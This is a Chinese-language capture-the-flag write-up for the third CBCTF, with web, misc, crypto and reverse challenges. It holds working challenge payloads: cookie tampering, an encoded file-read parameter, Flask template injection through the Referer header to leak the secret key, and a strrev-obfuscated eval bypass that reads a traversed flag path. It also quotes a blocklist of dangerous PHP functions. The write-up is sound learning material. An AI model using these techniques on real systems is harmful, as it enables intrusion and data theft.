第三届CBCTF wp
WEB
尖尖的商店
改cookie money=100000
Easy-Baby-Signin
http://47.56.137.217:10001/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
后面jpg是ascii hex + base64 + base64 ,构造index.php
<?php
/*
do you know magicword.txt?
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'."Hacked_by_whiskey".'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
if(strpos($file,'test') == false)
{
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
echo "Can you find the flag file?";
}
else
{
echo "Not here!Try again!";
}
?>
访问magicword.txt
<?php
#atest.php
#GOAL: get the secret;
class icanhear {var $mykey; var $myword;}
$magicword = unserialize($_GET['magicword']);
echo "just tell me the magicword\n";
$magicword->myword = "***********";
if ($magicword->myword === $magicword->mykey)
echo "Sooooo close: ".$magicword->myword;
else
echo "Damn it !";
?>
反序列化 同样的值,可以用地址引用
尖尖的商店2.0
flask的ssti 接触不多 伪造session 必须要secret_key
hint很有用
@app.errorhandler(404)
def page_not_found(e):
referrer = request.headers.get("Referer")# 获取请求头中的referer
if referrer is None:
referrer = '/'
if not valid_url(referrer):
referrer = '/?error'
html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(
referrer)
return render_template_string(html), 404
这里是先访问一个不存在的页面,然后要在请求头中注入 {{config}}
找到SECRET_KEY
然后用flask-session-cookie-manager
dangerous-function
常见危险函数 搜索eval就有了 整个页面只有一个搜索框可以输入,ssti
public
function parserIfLabel( $zcontent ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1 ]==''){
error('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
error('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
......
先是正则匹配if标签,然后用danger_key
函数过滤,最后在eval
函数中执行
//过滤危险字符,保留正常字符
function danger_key($s,$type='') {
$s=empty($type) ? htmlspecialchars($s) : $s;
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
foreach ($danger as $val){
if(stripos($s,$val) !==false){
error('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
return $s;
}
本地调试了后 用php7
动态函数和strrev
绕过
{if:var_dump(((strrev(stnetnoc_teg_elif)))((strrev(edoced_46esab))(Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}
MISC
sign_in
α层
两个图 stegsolve xor
python2-人工智障
然后搜了一下
我的二维码,时尚时尚最时尚
formost 两个二维码,ps改一下大小 stegsolve异或 扫码
Hacked_By_PTT0
分析,找文件
发现压缩文件开头(这里说是doc也可以)翻一下就发现了jquerySettings.xml
有点东西
IHDR前多一个字节,删掉
make_misc_great_again
百度云链接和密码,下载后压缩包有hint “不需要爆破,密码是我镜像的系统密码哒!!”
volatility拿到NTLM
得到一个bitlocker加密过的硬盘映像文件 ,filescan 和 dumpfiles能找到恢复密钥
guess
一开始以为跟精度有关,用数学算一下正常数字不行
开始换 进制 科学计数法,然后网上搜了下python数字类型 发现了nan
Broken RedLine
网上找个脚本 CRC32爆破一下 发现只是长宽换一下位置
图片用常见隐写搞了半天不行
题目描述红线 那么把线拼起来,让红线首尾相接连线搞了半天,搞不出来
后来想到让红线并排连成线
# -*- coding: utf-8 -*-
from PIL import Image
imagepng = Image.open(r'./CRC32.png')
imagebmp = Image.new('RGB', (1440, 960), '#FFFFFF')
for w in range(0, 1440):
for h in range(0, 960):
pixel = imagepng.getpixel((w, h))
if (pixel == (255, 0, 0)):
for count in range(960):
imagebmp.putpixel((w, count), imagepng.getpixel((w, (h + count) % 960)))
break
imagebmp.show()
CRYPTO
check_in
看素数生成位置发现
p-1,q-1的最大公约数(gcd)应该是512或者512的整数倍(其实应该不影响)
$$
p*q=lcm(p,q)*gcd(p,q)
$$
warm_up
搜索,搜到了V神的文章
https://www.anquanke.com/post/id/204720#h2-8
看看,然后写脚本
RE
WDNMD
直接搜索flag能得到flag的前面,ida打开 反汇编后能看到一长串, 是flag的后半段
加 密 对 话
java直接给了源代码 查找替换处理下,python解二进制
本来想用java写的,然后不会安java环境,于是直接找了网上的脚本 AES SHA1PRNG